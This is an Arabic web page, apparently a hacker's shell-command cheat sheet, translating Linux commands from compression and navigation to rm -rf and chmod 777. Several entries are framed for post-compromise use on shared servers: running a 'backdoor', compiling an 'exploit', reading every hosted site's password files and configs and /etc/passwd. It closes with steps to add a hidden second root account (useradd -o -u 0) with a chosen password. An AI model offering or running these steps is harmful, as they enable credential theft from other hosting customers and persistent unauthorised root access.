تعرف على اهم اوامر الليونكس مترجمة بالعربية


أوامر الشل, جميع أوامر الشيل, أوامر اليونكس, أوامر اليونيكس, أوامر الليونكس, أوامر اللينوكس, أوامر اللينكس, أوامر PuTTY, كل أوامر الشيل, أوامر SSH
أوامر الضغط وفك الضغط
الأمروظيفة الأمرمثال على الأمر
zipأمر الضغط بامتداد zipzip file.zip folder
unzipأمر فك الضغط بامتداد zipunzip file.zip
unzip -vمشاهدة الملفات المضغوطة في ملف zipunzip -v file.zip
tar -cvfأمر الضغط بامتداد tartar -cvf file.tar folder
tar -xvfأمر فك الضغط بامتداد tartar -xvf file.tar
tar -tvfمشاهدة الملفات المضغوطة في ملف tartar -tvf file.tar
tar -czvfأمر ضغط المجلد بامتداد tar.gztar -czvf file.tar.gz folder
tar -xzvfأمر فك ضغط الأرشيف بامتداد tar.gztar -xzvf example.tar.gz
tar -tzvfمشاهدة الملفات المضغوطة في ملف tar.gztar -tzvf example.tar.gz
gzip
يضغط الملفات فقط
أمر ضغط ملف بامتداد gzgzip file
هذا يقوم باستبدال الملف الأصلي بالمضغوط
gzip -dفك الضغط بامتداد gzgzip -d file.gz
gzip -lمشاهدة الملفات المضغوطة في ملف gzgzip -l file.g
الأوامر الداخلية
الأمروظيفة الأمرمثال على الأمر
lsعرض الملفات في المسار الحاليls
ls -laعرض الملفات في المسار الحالي مع التصاريحls -la
pwdتحديد المكان الحاليpwd
;أداة الربط بين الأوامرls;pwd
wgetأمر تنزيل ملفwget http://example.com/file.zip
curl -o ./أمر آخر لتنزيل ملفcurl -o ./ file.zip http://example.com/file.zip
historyأمر معرفة جميع الأوامر التي نفذت بالشلhistory
mkdirإنشاء مجلد جديدmkdir folder
rmأمر حذف ملفrm filename
rm -rfحذف مجلد بجميع الملفاتrm -rf directory-name
editأمر تعديل ملفedit filename
whoأمر عرض المستخدمين المتصلين بالسيرفرwho
cdأمر دخول المجلداتcd dir
cd ..أمر العودة للخلفcd ..
mvأمر إعادة التسميةmv oldname newname
findأمر البحثfind
./أمر تشغيل الباك دور./filename
uname -aأمر معرفة إصدار السيرفرuname -a
*رمز للكل (كل محتويات مجلد ما)ls ftp.zip*
manأمر المساعدةman ls
chmodأمر إعطاء التصريحchmod 777 dddrwxrwxrwx
touchأمر إنشاء ملف فارغtouch file.php
gccترجمة الكومبايل أو الاكسبلويتggc xxx.c -o xxx
(لا يحتاج ترجمة)ملفات البيرل تبدأ بـusr/bin/perl يبدأ الكود بهذه الكلمة
(ترجمة وتشغيل فقط)ملفات السي تبدأ بـinclude يبدأ الكود بهذه الكلمة



الأوامر الخارجية
الأمروظيفة الأمرمثال على الأمر
catعرض جميع المواقع التي على السيرفرcat /home/*/public_html/_vti_pvt/access.cnf
catعرض جميع الباسوردات على السيرفرcat /home/*/public_html/_vti_pvt/service.pwd
catعرض مصدر السيرفرcat /usr/local/apache/conf/httpd.conf
findعرض المصدرfind / -name httpd.conf
moreأمر مشابه للأمر catmore /etc/userdomains
picoتحرير النصوصpico /home/burst/public_html/index.html
viأمر تحرير به الكثير من المزايا لكنه أصعب من السابقvi /home/burst/public_html/index.html
lsعرض المواقع التي على السيرفر مع اليوزرls -la /etc/valiasesالمهم تحديد valiases
lsعرض جميع المواقع التي على السيرفرls /var/named
lsعرض المواقع التي على السيرفرls /usr/local/psa/home/vhostsالمهم تحديد vhosts
perl تشغيل البيرلperl example.pl
catأمر استخراج حسابات الشيلابحث عن bashcat /etc/passwd

اكتب الأمر التالي لإضافة يوزر بصلاحيات الروت ومضاف إلى مجموعة الروت :
/usr/sbin/useradd -o -u 0 -g 0 root -p rootpass
تفاصيل الأمر
طبعا اليوزر اللي هو روت: root
والباسورد: rootpass
-o : لاستخدام تغيرات مع الأمر
-u : لإضافته إلى مجموعه اليوزر ذات رقم 0 (اللي هي الروت)
-g : المجموعة ذات رقم 0 يعني مجموعة الروت أيضا .
----------------

أمر آخر نفس الأمر الأول
أيضا تستطيع عن طريق هذا الأمر:

/usr/sbin/useradd -o -u 0 root
 ثم تدخل لهذا اليوزر باسورد
يعني تضيف باسورد جديد للمستخدم
وإذا أردت تغيير باسورد يوزر بالطريقة التالية:

passwd root
ثم ستظهر لك الرسالة التالية:New UNIX password:
اكتب باسورد جديد ويجب أن يكون صعب ومعقد :)
ثم سيظهر رسالة أخرى تطالب بإدخال كلمة المرور مرة ثانية:
Retype new UNIX password:
يعني أعد كتابة كلمة المرور
أعد كتابتها, سيعطيك الرسالة التالية
Changing password for user root.
passwd: all authentication tokens updated successfully.
ومبروك عليك صلاحيات مستخدم روت جديدة :)